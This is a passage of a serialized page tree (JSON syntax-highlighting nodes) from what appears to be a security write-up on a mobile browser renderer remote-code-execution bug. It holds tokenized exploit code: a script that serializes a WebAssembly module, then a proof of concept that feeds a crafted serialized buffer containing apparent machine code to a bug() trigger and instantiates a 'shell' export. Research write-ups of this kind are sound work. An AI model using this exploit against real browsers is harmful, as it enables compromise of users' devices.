:216,"props":140778,"children":140779},{"style":6958},[140780],{"type":31,"value":7020},{"type":25,"tag":216,"props":140782,"children":140783},{"style":6983},[140784],{"type":31,"value":184},{"type":25,"tag":216,"props":140786,"children":140787},{"style":6958},[140788],{"type":31,"value":7020},{"type":25,"tag":216,"props":140790,"children":140791},{"style":6983},[140792],{"type":31,"value":331},{"type":25,"tag":216,"props":140794,"children":140795},{"style":6958},[140796],{"type":31,"value":7020},{"type":25,"tag":216,"props":140798,"children":140799},{"style":6983},[140800],{"type":31,"value":1876},{"type":25,"tag":216,"props":140802,"children":140803},{"style":6958},[140804],{"type":31,"value":7020},{"type":25,"tag":216,"props":140806,"children":140807},{"style":6983},[140808],{"type":31,"value":137689},{"type":25,"tag":216,"props":140810,"children":140811},{"style":6958},[140812],{"type":31,"value":7459},{"type":25,"tag":216,"props":140814,"children":140815},{"class":6916,"line":7104},[140816],{"type":25,"tag":216,"props":140817,"children":140818},{"style":6958},[140819],{"type":31,"value":138410},{"type":25,"tag":216,"props":140821,"children":140822},{"class":6916,"line":7210},[140823,140827,140831,140835,140839,140843,140847,140851,140855,140859],{"type":25,"tag":216,"props":140824,"children":140825},{"style":6930},[140826],{"type":31,"value":140506},{"type":25,"tag":216,"props":140828,"children":140829},{"style":6941},[140830],{"type":31,"value":75588},{"type":25,"tag":216,"props":140832,"children":140833},{"style":6947},[140834],{"type":31,"value":6950},{"type":25,"tag":216,"props":140836,"children":140837},{"style":6930},[140838],{"type":31,"value":35889},{"type":25,"tag":216,"props":140840,"children":140841},{"style":6941},[140842],{"type":31,"value":137724},{"type":25,"tag":216,"props":140844,"children":140845},{"style":6958},[140846],{"type":31,"value":179},{"type":25,"tag":216,"props":140848,"children":140849},{"style":7041},[140850],{"type":31,"value":89884},{"type":25,"tag":216,"props":140852,"children":140853},{"style":6958},[140854],{"type":31,"value":1844},{"type":25,"tag":216,"props":140856,"children":140857},{"style":6941},[140858],{"type":31,"value":137741},{"type":25,"tag":216,"props":140860,"children":140861},{"style":6958},[140862],{"type":31,"value":7791},{"type":25,"tag":216,"props":140864,"children":140865},{"class":6916,"line":7238},[140866,140870,140874,140878,140882,140886,140890,140894,140898,140902],{"type":25,"tag":216,"props":140867,"children":140868},{"style":6930},[140869],{"type":31,"value":140506},{"type":25,"tag":216,"props":140871,"children":140872},{"style":6941},[140873],{"type":31,"value":137757},{"type":25,"tag":216,"props":140875,"children":140876},{"style":6947},[140877],{"type":31,"value":6950},{"type":25,"tag":216,"props":140879,"children":140880},{"style":6930},[140881],{"type":31,"value":35889},{"type":25,"tag":216,"props":140883,"children":140884},{"style":6941},[140885],{"type":31,"value":137724},{"type":25,"tag":216,"props":140887,"children":140888},{"style":6958},[140889],{"type":31,"value":179},{"type":25,"tag":216,"props":140891,"children":140892},{"style":7041},[140893],{"type":31,"value":137778},{"type":25,"tag":216,"props":140895,"children":140896},{"style":6958},[140897],{"type":31,"value":1844},{"type":25,"tag":216,"props":140899,"children":140900},{"style":6941},[140901],{"type":31,"value":137787},{"type":25,"tag":216,"props":140903,"children":140904},{"style":6958},[140905],{"type":31,"value":7791},{"type":25,"tag":216,"props":140907,"children":140908},{"class":6916,"line":7251},[140909,140913,140917,140921,140925,140929,140933,140937,140941],{"type":25,"tag":216,"props":140910,"children":140911},{"style":6930},[140912],{"type":31,"value":140506},{"type":25,"tag":216,"props":140914,"children":140915},{"style":6941},[140916],{"type":31,"value":83975},{"type":25,"tag":216,"props":140918,"children":140919},{"style":6947},[140920],{"type":31,"value":6950},{"type":25,"tag":216,"props":140922,"children":140923},{"style":6941},[140924],{"type":31,"value":137757},{"type":25,"tag":216,"props":140926,"children":140927},{"style":6958},[140928],{"type":31,"value":179},{"type":25,"tag":216,"props":140930,"children":140931},{"style":6941},[140932],{"type":31,"value":41843},{"type":25,"tag":216,"props":140934,"children":140935},{"style":6958},[140936],{"type":31,"value":179},{"type":25,"tag":216,"props":140938,"children":140939},{"style":6941},[140940],{"type":31,"value":137827},{"type":25,"tag":216,"props":140942,"children":140943},{"style":6958},[140944],{"type":31,"value":6961},{"type":25,"tag":216,"props":140946,"children":140947},{"class":6916,"line":7269},[140948],{"type":25,"tag":216,"props":140949,"children":140950},{"emptyLinePlaceholder":16},[140951],{"type":31,"value":7636},{"type":25,"tag":216,"props":140953,"children":140954},{"class":6916,"line":7290},[140955],{"type":25,"tag":216,"props":140956,"children":140957},{"style":6921},[140958],{"type":31,"value":140959},"  // %WasmTierUpFunction(func);\n",{"type":25,"tag":216,"props":140961,"children":140962},{"class":6916,"line":7299},[140963,140968,140972,140976,140980,140984,140988,140992,140996,141000,141004,141008,141012,141016],{"type":25,"tag":216,"props":140964,"children":140965},{"style":6967},[140966],{"type":31,"value":140967},"  for",{"type":25,"tag":216,"props":140969,"children":140970},{"style":6958},[140971],{"type":31,"value":7010},{"type":25,"tag":216,"props":140973,"children":140974},{"style":6930},[140975],{"type":31,"value":15737},{"type":25,"tag":216,"props":140977,"children":140978},{"style":6941},[140979],{"type":31,"value":7348},{"type":25,"tag":216,"props":140981,"children":140982},{"style":6947},[140983],{"type":31,"value":6950},{"type":25,"tag":216,"props":140985,"children":140986},{"style":6983},[140987],{"type":31,"value":6986},{"type":25,"tag":216,"props":140989,"children":140990},{"style":6958},[140991],{"type":31,"value":21178},{"type":25,"tag":216,"props":140993,"children":140994},{"style":6941},[140995],{"type":31,"value":2283},{"type":25,"tag":216,"props":140997,"children":140998},{"style":6947},[140999],{"type":31,"value":12666},{"type":25,"tag":216,"props":141001,"children":141002},{"style":6983},[141003],{"type":31,"value":140428},{"type":25,"tag":216,"props":141005,"children":141006},{"style":6958},[141007],{"type":31,"value":21178},{"type":25,"tag":216,"props":141009,"children":141010},{"style":6941},[141011],{"type":31,"value":2283},{"type":25,"tag":216,"props":141013,"children":141014},{"style":6947},[141015],{"type":31,"value":55232},{"type":25,"tag":216,"props":141017,"children":141018},{"style":6958},[141019],{"type":31,"value":18755},{"type":25,"tag":216,"props":141021,"children":141022},{"class":6916,"line":7551},[141023,141028],{"type":25,"tag":216,"props":141024,"children":141025},{"style":7041},[141026],{"type":31,"value":141027},"    func",{"type":25,"tag":216,"props":141029,"children":141030},{"style":6958},[141031],{"type":31,"value":7627},{"type":25,"tag":216,"props":141033,"children":141034},{"class":6916,"line":7568},[141035],{"type":25,"tag":216,"props":141036,"children":141037},{"style":6958},[141038],{"type":31,"value":9817},{"type":25,"tag":216,"props":141040,"children":141041},{"class":6916,"line":7585},[141042],{"type":25,"tag":216,"props":141043,"children":141044},{"emptyLinePlaceholder":16},[141045],{"type":31,"value":7636},{"type":25,"tag":216,"props":141047,"children":141048},{"class":6916,"line":7598},[141049,141053,141057,141061,141065,141069,141073],{"type":25,"tag":216,"props":141050,"children":141051},{"style":6930},[141052],{"type":31,"value":11801},{"type":25,"tag":216,"props":141054,"children":141055},{"style":6941},[141056],{"type":31,"value":139862},{"type":25,"tag":216,"props":141058,"children":141059},{"style":6947},[141060],{"type":31,"value":6950},{"type":25,"tag":216,"props":141062,"children":141063},{"style":7041},[141064],{"type":31,"value":139871},{"type":25,"tag":216,"props":141066,"children":141067},{"style":6958},[141068],{"type":31,"value":1844},{"type":25,"tag":216,"props":141070,"children":141071},{"style":6941},[141072],{"type":31,"value":137787},{"type":25,"tag":216,"props":141074,"children":141075},{"style":6958},[141076],{"type":31,"value":7791},{"type":25,"tag":216,"props":141078,"children":141079},{"class":6916,"line":7607},[141080,141084,141088,141092,141096,141100,141104,141108,141112,141116],{"type":25,"tag":216,"props":141081,"children":141082},{"style":6941},[141083],{"type":31,"value":139907},{"type":25,"tag":216,"props":141085,"children":141086},{"style":6947},[141087],{"type":31,"value":6950},{"type":25,"tag":216,"props":141089,"children":141090},{"style":6958},[141091],{"type":31,"value":7010},{"type":25,"tag":216,"props":141093,"children":141094},{"style":6967},[141095],{"type":31,"value":36872},{"type":25,"tag":216,"props":141097,"children":141098},{"style":6941},[141099],{"type":31,"value":139862},{"type":25,"tag":216,"props":141101,"children":141102},{"style":6958},[141103],{"type":31,"value":179},{"type":25,"tag":216,"props":141105,"children":141106},{"style":7041},[141107],{"type":31,"value":61527},{"type":25,"tag":216,"props":141109,"children":141110},{"style":6958},[141111],{"type":31,"value":139936},{"type":25,"tag":216,"props":141113,"children":141114},{"style":6941},[141115],{"type":31,"value":43109},{"type":25,"tag":216,"props":141117,"children":141118},{"style":6958},[141119],{"type":31,"value":6961},{"type":25,"tag":216,"props":141121,"children":141122},{"class":6916,"line":7630},[141123,141127,141131,141135,141139,141143],{"type":25,"tag":216,"props":141124,"children":141125},{"style":6941},[141126],{"type":31,"value":105896},{"type":25,"tag":216,"props":141128,"children":141129},{"style":6958},[141130],{"type":31,"value":179},{"type":25,"tag":216,"props":141132,"children":141133},{"style":7041},[141134],{"type":31,"value":105905},{"type":25,"tag":216,"props":141136,"children":141137},{"style":6958},[141138],{"type":31,"value":1844},{"type":25,"tag":216,"props":141140,"children":141141},{"style":6941},[141142],{"type":31,"value":13031},{"type":25,"tag":216,"props":141144,"children":141145},{"style":6958},[141146],{"type":31,"value":7791},{"type":25,"tag":216,"props":141148,"children":141149},{"class":6916,"line":7639},[141150],{"type":25,"tag":216,"props":141151,"children":141152},{"emptyLinePlaceholder":16},[141153],{"type":31,"value":7636},{"type":25,"tag":216,"props":141155,"children":141156},{"class":6916,"line":7648},[141157,141161,141166,141170,141174,141178,141182,141186],{"type":25,"tag":216,"props":141158,"children":141159},{"style":6930},[141160],{"type":31,"value":11801},{"type":25,"tag":216,"props":141162,"children":141163},{"style":6941},[141164],{"type":31,"value":141165}," result_bytes",{"type":25,"tag":216,"props":141167,"children":141168},{"style":6947},[141169],{"type":31,"value":6950},{"type":25,"tag":216,"props":141171,"children":141172},{"style":6930},[141173],{"type":31,"value":35889},{"type":25,"tag":216,"props":141175,"children":141176},{"style":7041},[141177],{"type":31,"value":137393},{"type":25,"tag":216,"props":141179,"children":141180},{"style":6958},[141181],{"type":31,"value":1844},{"type":25,"tag":216,"props":141183,"children":141184},{"style":6941},[141185],{"type":31,"value":13031},{"type":25,"tag":216,"props":141187,"children":141188},{"style":6958},[141189],{"type":31,"value":7791},{"type":25,"tag":216,"props":141191,"children":141192},{"class":6916,"line":7716},[141193,141197,141201,141205,141209,141213,141217,141221,141225,141229,141233,141237,141241,141245,141249],{"type":25,"tag":216,"props":141194,"children":141195},{"style":6941},[141196],{"type":31,"value":105896},{"type":25,"tag":216,"props":141198,"children":141199},{"style":6958},[141200],{"type":31,"value":179},{"type":25,"tag":216,"props":141202,"children":141203},{"style":7041},[141204],{"type":31,"value":105905},{"type":25,"tag":216,"props":141206,"children":141207},{"style":6958},[141208],{"type":31,"value":1844},{"type":25,"tag":216,"props":141210,"children":141211},{"style":8199},[141212],{"type":31,"value":137960},{"type":25,"tag":216,"props":141214,"children":141215},{"style":6947},[141216],{"type":31,"value":12852},{"type":25,"tag":216,"props":141218,"children":141219},{"style":6941},[141220],{"type":31,"value":141165},{"type":25,"tag":216,"props":141222,"children":141223},{"style":6958},[141224],{"type":31,"value":179},{"type":25,"tag":216,"props":141226,"children":141227},{"style":7041},[141228],{"type":31,"value":137977},{"type":25,"tag":216,"props":141230,"children":141231},{"style":6958},[141232],{"type":31,"value":1844},{"type":25,"tag":216,"props":141234,"children":141235},{"style":8199},[141236],{"type":31,"value":137986},{"type":25,"tag":216,"props":141238,"children":141239},{"style":6958},[141240],{"type":31,"value":7030},{"type":25,"tag":216,"props":141242,"children":141243},{"style":6947},[141244],{"type":31,"value":3533},{"type":25,"tag":216,"props":141246,"children":141247},{"style":8199},[141248],{"type":31,"value":137999},{"type":25,"tag":216,"props":141250,"children":141251},{"style":6958},[141252],{"type":31,"value":7791},{"type":25,"tag":216,"props":141254,"children":141255},{"class":6916,"line":7724},[141256],{"type":25,"tag":216,"props":141257,"children":141258},{"style":6958},[141259],{"type":31,"value":105937},{"type":25,"tag":38,"props":141261,"children":141262},{},[141263],{"type":31,"value":141264},"We get the serialized bytes:",{"type":25,"tag":38,"props":141266,"children":141267},{},[141268],{"type":25,"tag":6461,"props":141269,"children":141272},{"alt":141270,"src":141271},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":25,"tag":38,"props":141274,"children":141275},{},[141276,141278,141283],{"type":31,"value":141277},"We can now embed this output into the original bytecode that calls ",{"type":25,"tag":82,"props":141279,"children":141281},{"className":141280},[],[141282],{"type":31,"value":136856},{"type":31,"value":1466},{"type":25,"tag":206,"props":141285,"children":141287},{"code":141286,"language":39572,"meta":7,"className":39570,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[141288],{"type":25,"tag":82,"props":141289,"children":141290},{"__ignoreMap":7},[141291,141314,141341,141560,141627,141634,141661,141872,142123,142374,142598,142780,143001,143079,143086,143133,143176,143212,143255,143294,143321],{"type":25,"tag":216,"props":141292,"children":141293},{"class":6916,"line":6917},[141294,141298,141302,141306,141310],{"type":25,"tag":216,"props":141295,"children":141296},{"style":6958},[141297],{"type":31,"value":1844},{"type":25,"tag":216,"props":141299,"children":141300},{"style":6930},[141301],{"type":31,"value":40102},{"type":25,"tag":216,"props":141303,"children":141304},{"style":6958},[141305],{"type":31,"value":43654},{"type":25,"tag":216,"props":141307,"children":141308},{"style":6930},[141309],{"type":31,"value":18773},{"type":25,"tag":216,"props":141311,"children":141312},{"style":6958},[141313],{"type":31,"value":7235},{"type":25,"tag":216,"props":141315,"children":141316},{"class":6916,"line":6763},[141317,141321,141325,141329,141333,141337],{"type":25,"tag":216,"props":141318,"children":141319},{"style":6930},[141320],{"type":31,"value":40145},{"type":25,"tag":216,"props":141322,"children":141323},{"style":6941},[141324],{"type":31,"value":137380},{"type":25,"tag":216,"props":141326,"children":141327},{"style":6947},[141328],{"type":31,"value":6950},{"type":25,"tag":216,"props":141330,"children":141331},{"style":6930},[141332],{"type":31,"value":35889},{"type":25,"tag":216,"props":141334,"children":141335},{"style":7041},[141336],{"type":31,"value":137393},{"type":25,"tag":216,"props":141338,"children":141339},{"style":6958},[141340],{"type":31,"value":137398},{"type":25,"tag":216,"props":141342,"children":141343},{"class":6916,"line":6772},[141344,141348,141352,141356,141360,141364,141368,141372,141376,141380,141384,141388,141392,141396,141400,141404,141408,141412,141416,141420,141424,141428,141432,141436,141440,141444,141448,141452,141456,141460,141464,141468,141472,141476,141480,141484,141488,141492,141496,141500,141504,141508,141512,141516,141520,141524,141528,141532,141536,141540,141544,141548,141552,141556],{"type":25,"tag":216,"props":141345,"children":141346},{"style":6983},[141347],{"type":31,"value":138123},{"type":25,"tag":216,"props":141349,"children":141350},{"style":6958},[141351],{"type":31,"value":7020},{"type":25,"tag":216,"props":141353,"children":141354},{"style":6983},[141355],{"type":31,"value":137415},{"type":25,"tag":216,"props":141357,"children":141358},{"style":6958},[141359],{"type":31,"value":7020},{"type":25,"tag":216,"props":141361,"children":141362},{"style":6983},[141363],{"type":31,"value":137424},{"type":25,"tag":216,"props":141365,"children":141366},{"style":6958},[141367],{"type":31,"value":7020},{"type":25,"tag":216,"props":141369,"children":141370},{"style":6983},[141371],{"type":31,"value":137433},{"type":25,"tag":216,"props":141373,"children":141374},{"style":6958},[141375],{"type":31,"value":7020},{"type":25,"tag":216,"props":141377,"children":141378},{"style":6983},[141379],{"type":31,"value":184},{"type":25,"tag":216,"props":141381,"children":141382},{"style":6958},[141383],{"type":31,"value":7020},{"type":25,"tag":216,"props":141385,"children":141386},{"style":6983},[141387],{"type":31,"value":1876},{"type":25,"tag":216,"props":141389,"children":141390},{"style":6958},[141391],{"type":31,"value":7020},{"type":25,"tag":216,"props":141393,"children":141394},{"style":6983},[141395],{"type":31,"value":1876},{"type":25,"tag":216,"props":141397,"children":141398},{"style":6958},[141399],{"type":31,"value":7020},{"type":25,"tag":216,"props":141401,"children":141402},{"style":6983},[141403],{"type":31,"value":1876},{"type":25,"tag":216,"props":141405,"children":141406},{"style":6958},[141407],{"type":31,"value":7020},{"type":25,"tag":216,"props":141409,"children":141410},{"style":6983},[141411],{"type":31,"value":184},{"type":25,"tag":216,"props":141413,"children":141414},{"style":6958},[141415],{"type":31,"value":7020},{"type":25,"tag":216,"props":141417,"children":141418},{"style":6983},[141419],{"type":31,"value":21480},{"type":25,"tag":216,"props":141421,"children":141422},{"style":6958},[141423],{"type":31,"value":7020},{"type":25,"tag":216,"props":141425,"children":141426},{"style":6983},[141427],{"type":31,"value":184},{"type":25,"tag":216,"props":141429,"children":141430},{"style":6958},[141431],{"type":31,"value":7020},{"type":25,"tag":216,"props":141433,"children":141434},{"style":6983},[141435],{"type":31,"value":137498},{"type":25,"tag":216,"props":141437,"children":141438},{"style":6958},[141439],{"type":31,"value":7020},{"type":25,"tag":216,"props":141441,"children":141442},{"style":6983},[141443],{"type":31,"value":1876},{"type":25,"tag":216,"props":141445,"children":141446},{"style":6958},[141447],{"type":31,"value":7020},{"type":25,"tag":216,"props":141449,"children":141450},{"style":6983},[141451],{"type":31,"value":1876},{"type":25,"tag":216,"props":141453,"children":141454},{"style":6958},[141455],{"type":31,"value":7020},{"type":25,"tag":216,"props":141457,"children":141458},{"style":6983},[141459],{"type":31,"value":21247},{"type":25,"tag":216,"props":141461,"children":141462},{"style":6958},[141463],{"type":31,"value":7020},{"type":25,"tag":216,"props":141465,"children":141466},{"style":6983},[141467],{"type":31,"value":331},{"type":25,"tag":216,"props":141469,"children":141470},{"style":6958},[141471],{"type":31,"value":7020},{"type":25,"tag":216,"props":141473,"children":141474},{"style":6983},[141475],{"type":31,"value":184},{"type":25,"tag":216,"props":141477,"children":141478},{"style":6958},[141479],{"type":31,"value":7020},{"type":25,"tag":216,"props":141481,"children":141482},{"style":6983},[141483],{"type":31,"value":1876},{"type":25,"tag":216,"props":141485,"children":141486},{"style":6958},[141487],{"type":31,"value":7020},{"type":25,"tag":216,"props":141489,"children":141490},{"style":6983},[141491],{"type":31,"value":58633},{"type":25,"tag":216,"props":141493,"children":141494},{"style":6958},[141495],{"type":31,"value":7020},{"type":25,"tag":216,"props":141497,"children":141498},{"style":6983},[141499],{"type":31,"value":59848},{"type":25,"tag":216,"props":141501,"children":141502},{"style":6958},[141503],{"type":31,"value":7020},{"type":25,"tag":216,"props":141505,"children":141506},{"style":6983},[141507],{"type":31,"value":184},{"type":25,"tag":216,"props":141509,"children":141510},{"style":6958},[141511],{"type":31,"value":7020},{"type":25,"tag":216,"props":141513,"children":141514},{"style":6983},[141515],{"type":31,"value":22061},{"type":25,"tag":216,"props":141517,"children":141518},{"style":6958},[141519],{"type":31,"value":7020},{"type":25,"tag":216,"props":141521,"children":141522},{"style":6983},[141523],{"type":31,"value":137424},{"type":25,"tag":216,"props":141525,"children":141526},{"style":6958},[141527],{"type":31,"value":7020},{"type":25,"tag":216,"props":141529,"children":141530},{"style":6983},[141531],{"type":31,"value":137595},{"type":25,"tag":216,"props":141533,"children":141534},{"style":6958},[141535],{"type":31,"value":7020},{"type":25,"tag":216,"props":141537,"children":141538},{"style":6983},[141539],{"type":31,"value":137604},{"type":25,"tag":216,"props":141541,"children":141542},{"style":6958},[141543],{"type":31,"value":7020},{"type":25,"tag":216,"props":141545,"children":141546},{"style":6983},[141547],{"type":31,"value":137613},{"type":25,"tag":216,"props":141549,"children":141550},{"style":6958},[141551],{"type":31,"value":7020},{"type":25,"tag":216,"props":141553,"children":141554},{"style":6983},[141555],{"type":31,"value":137613},{"type":25,"tag":216,"props":141557,"children":141558},{"style":6958},[141559],{"type":31,"value":7459},{"type":25,"tag":216,"props":141561,"children":141562},{"class":6916,"line":6999},[141563,141567,141571,141575,141579,141583,141587,141591,141595,141599,141603,141607,141611,141615,141619,141623],{"type":25,"tag":216,"props":141564,"children":141565},{"style":6983},[141566],{"type":31,"value":138123},{"type":25,"tag":216,"props":141568,"children":141569},{"style":6958},[141570],{"type":31,"value":7020},{"type":25,"tag":216,"props":141572,"children":141573},{"style":6983},[141574],{"type":31,"value":1876},{"type":25,"tag":216,"props":141576,"children":141577},{"style":6958},[141578],{"type":31,"value":7020},{"type":25,"tag":216,"props":141580,"children":141581},{"style":6983},[141582],{"type":31,"value":93218},{"type":25,"tag":216,"props":141584,"children":141585},{"style":6958},[141586],{"type":31,"value":7020},{"type":25,"tag":216,"props":141588,"children":141589},{"style":6983},[141590],{"type":31,"value":21480},{"type":25,"tag":216,"props":141592,"children":141593},{"style":6958},[141594],{"type":31,"value":7020},{"type":25,"tag":216,"props":141596,"children":141597},{"style":6983},[141598],{"type":31,"value":184},{"type":25,"tag":216,"props":141600,"children":141601},{"style":6958},[141602],{"type":31,"value":7020},{"type":25,"tag":216,"props":141604,"children":141605},{"style":6983},[141606],{"type":31,"value":331},{"type":25,"tag":216,"props":141608,"children":141609},{"style":6958},[141610],{"type":31,"value":7020},{"type":25,"tag":216,"props":141612,"children":141613},{"style":6983},[141614],{"type":31,"value":1876},{"type":25,"tag":216,"props":141616,"children":141617},{"style":6958},[141618],{"type":31,"value":7020},{"type":25,"tag":216,"props":141620,"children":141621},{"style":6983},[141622],{"type":31,"value":137689},{"type":25,"tag":216,"props":141624,"children":141625},{"style":6958},[141626],{"type":31,"value":7459},{"type":25,"tag":216,"props":141628,"children":141629},{"class":6916,"line":7104},[141630],{"type":25,"tag":216,"props":141631,"children":141632},{"style":6958},[141633],{"type":31,"value":138410},{"type":25,"tag":216,"props":141635,"children":141636},{"class":6916,"line":7210},[141637,141641,141645,141649,141653,141657],{"type":25,"tag":216,"props":141638,"children":141639},{"style":6930},[141640],{"type":31,"value":40145},{"type":25,"tag":216,"props":141642,"children":141643},{"style":6941},[141644],{"type":31,"value":129193},{"type":25,"tag":216,"props":141646,"children":141647},{"style":6947},[141648],{"type":31,"value":6950},{"type":25,"tag":216,"props":141650,"children":141651},{"style":6930},[141652],{"type":31,"value":35889},{"type":25,"tag":216,"props":141654,"children":141655},{"style":7041},[141656],{"type":31,"value":137393},{"type":25,"tag":216,"props":141658,"children":141659},{"style":6958},[141660],{"type":31,"value":137398},{"type":25,"tag":216,"props":141662,"children":141663},{"class":6916,"line":7238},[141664,141669,141673,141677,141681,141685,141689,141693,141697,141702,141706,141711,141715,141720,141724,141729,141733,141737,141741,141745,141749,141753,141757,141761,141765,141770,141774,141779,141783,141788,141792,141796,141800,141804,141808,141812,141816,141820,141824,141828,141832,141836,141840,141844,141848,141852,141856,141860,141864,141868],{"type":25,"tag":216,"props":141665,"children":141666},{"style":6983},[141667],{"type":31,"value":141668},"    146",{"type":25,"tag":216,"props":141670,"children":141671},{"style":6958},[141672],{"type":31,"value":7020},{"type":25,"tag":216,"props":141674,"children":141675},{"style":6983},[141676],{"type":31,"value":22373},{"type":25,"tag":216,"props":141678,"children":141679},{"style":6958},[141680],{"type":31,"value":7020},{"type":25,"tag":216,"props":141682,"children":141683},{"style":6983},[141684],{"type":31,"value":138462},{"type":25,"tag":216,"props":141686,"children":141687},{"style":6958},[141688],{"type":31,"value":7020},{"type":25,"tag":216,"props":141690,"children":141691},{"style":6983},[141692],{"type":31,"value":138471},{"type":25,"tag":216,"props":141694,"children":141695},{"style":6958},[141696],{"type":31,"value":7020},{"type":25,"tag":216,"props":141698,"children":141699},{"style":6983},[141700],{"type":31,"value":141701},"174",{"type":25,"tag":216,"props":141703,"children":141704},{"style":6958},[141705],{"type":31,"value":7020},{"type":25,"tag":216,"props":141707,"children":141708},{"style":6983},[141709],{"type":31,"value":141710},"122",{"type":25,"tag":216,"props":141712,"children":141713},{"style":6958},[141714],{"type":31,"value":7020},{"type":25,"tag":216,"props":141716,"children":141717},{"style":6983},[141718],{"type":31,"value":141719},"171",{"type":25,"tag":216,"props":141721,"children":141722},{"style":6958},[141723],{"type":31,"value":7020},{"type":25,"tag":216,"props":141725,"children":141726},{"style":6983},[141727],{"type":31,"value":141728},"151",{"type":25,"tag":216,"props":141730,"children":141731},{"style":6958},[141732],{"type":31,"value":7020},{"type":25,"tag":216,"props":141734,"children":141735},{"style":6983},[141736],{"type":31,"value":100619},{"type":25,"tag":216,"props":141738,"children":141739},{"style":6958},[141740],{"type":31,"value":7020},{"type":25,"tag":216,"props":141742,"children":141743},{"style":6983},[141744],{"type":31,"value":1876},{"type":25,"tag":216,"props":141746,"children":141747},{"style":6958},[141748],{"type":31,"value":7020},{"type":25,"tag":216,"props":141750,"children":141751},{"style":6983},[141752],{"type":31,"value":1876},{"type":25,"tag":216,"props":141754,"children":141755},{"style":6958},[141756],{"type":31,"value":7020},{"type":25,"tag":216,"props":141758,"children":141759},{"style":6983},[141760],{"type":31,"value":1876},{"type":25,"tag":216,"props":141762,"children":141763},{"style":6958},[141764],{"type":31,"value":7020},{"type":25,"tag":216,"props":141766,"children":141767},{"style":6983},[141768],{"type":31,"value":141769},"39",{"type":25,"tag":216,"props":141771,"children":141772},{"style":6958},[141773],{"type":31,"value":7020},{"type":25,"tag":216,"props":141775,"children":141776},{"style":6983},[141777],{"type":31,"value":141778},"61",{"type":25,"tag":216,"props":141780,"children":141781},{"style":6958},[141782],{"type":31,"value":7020},{"type":25,"tag":216,"props":141784,"children":141785},{"style":6983},[141786],{"type":31,"value":141787},"60",{"type":25,"tag":216,"props":141789,"children":141790},{"style":6958},[141791],{"type":31,"value":7020},{"type":25,"tag":216,"props":141793,"children":141794},{"style":6983},[141795],{"type":31,"value":100619},{"type":25,"tag":216,"props":141797,"children":141798},{"style":6958},[141799],{"type":31,"value":7020},{"type":25,"tag":216,"props":141801,"children":141802},{"style":6983},[141803],{"type":31,"value":1876},{"type":25,"tag":216,"props":141805,"children":141806},{"style":6958},[141807],{"type":31,"value":7020},{"type":25,"tag":216,"props":141809,"children":141810},{"style":6983},[141811],{"type":31,"value":44805},{"type":25,"tag":216,"props":141813,"children":141814},{"style":6958},[141815],{"type":31,"value":7020},{"type":25,"tag":216,"props":141817,"children":141818},{"style":6983},[141819],{"type":31,"value":21247},{"type":25,"tag":216,"props":141821,"children":141822},{"style":6958},[141823],{"type":31,"value":7020},{"type":25,"tag":216,"props":141825,"children":141826},{"style":6983},[141827],{"type":31,"value":1876},{"type":25,"tag":216,"props":141829,"children":141830},{"style":6958},[141831],{"type":31,"value":7020},{"type":25,"tag":216,"props":141833,"children":141834},{"style":6983},[141835],{"type":31,"value":1876},{"type":25,"tag":216,"props":141837,"children":141838},{"style":6958},[141839],{"type":31,"value":7020},{"type":25,"tag":216,"props":141841,"children":141842},{"style":6983},[141843],{"type":31,"value":1876},{"type":25,"tag":216,"props":141845,"children":141846},{"style":6958},[141847],{"type":31,"value":7020},{"type":25,"tag":216,"props":141849,"children":141850},{"style":6983},[141851],{"type":31,"value":1876},{"type":25,"tag":216,"props":141853,"children":141854},{"style":6958},[141855],{"type":31,"value":7020},{"type":25,"tag":216,"props":141857,"children":141858},{"style":6983},[141859],{"type":31,"value":1876},{"type":25,"tag":216,"props":141861,"children":141862},{"style":6958},[141863],{"type":31,"value":7020},{"type":25,"tag":216,"props":141865,"children":141866},{"style":6983},[141867],{"type":31,"value":33377},{"type":25,"tag":216,"props":141869,"children":141870},{"style":6958},[141871],{"type":31,"value":7459},{"type":25,"tag":216,"props":141873,"children":141874},{"class":6916,"line":7251},[141875,141879,141883,141887,141891,141895,141899,141903,141907,141911,141915,141919,141923,141927,141931,141935,141939,141943,141947,141951,141955,141959,141963,141967,141971,141975,141979,141983,141987,141991,141995,141999,142003,142007,142011,142015,142019,142023,142027,142031,142035,142039,142043,142047,142051,142055,142059,142063,142067,142071,142075,142079,142083,142087,142091,142095,142099,142103,142107,142111,142115,142119],{"type":25,"tag":216,"props":141876,"children":141877},{"style":6983},[141878],{"type":31,"value":138123},{"type":25,"tag":216,"props":141880,"children":141881},{"style":6958},[141882],{"type":31,"value":7020},{"type":25,"tag":216,"props":141884,"children":141885},{"style":6983},[141886],{"type":31,"value":1876},{"type":25,"tag":216,"props":141888,"children":141889},{"style":6958},[141890],{"type":31,"value":7020},{"type":25,"tag":216,"props":141892,"children":141893},{"style":6983},[141894],{"type":31,"value":1876},{"type":25,"tag":216,"props":141896,"children":141897},{"style":6958},[141898],{"type":31,"value":7020},{"type":25,"tag":216,"props":141900,"children":141901},{"style":6983},[141902],{"type":31,"value":1876},{"type":25,"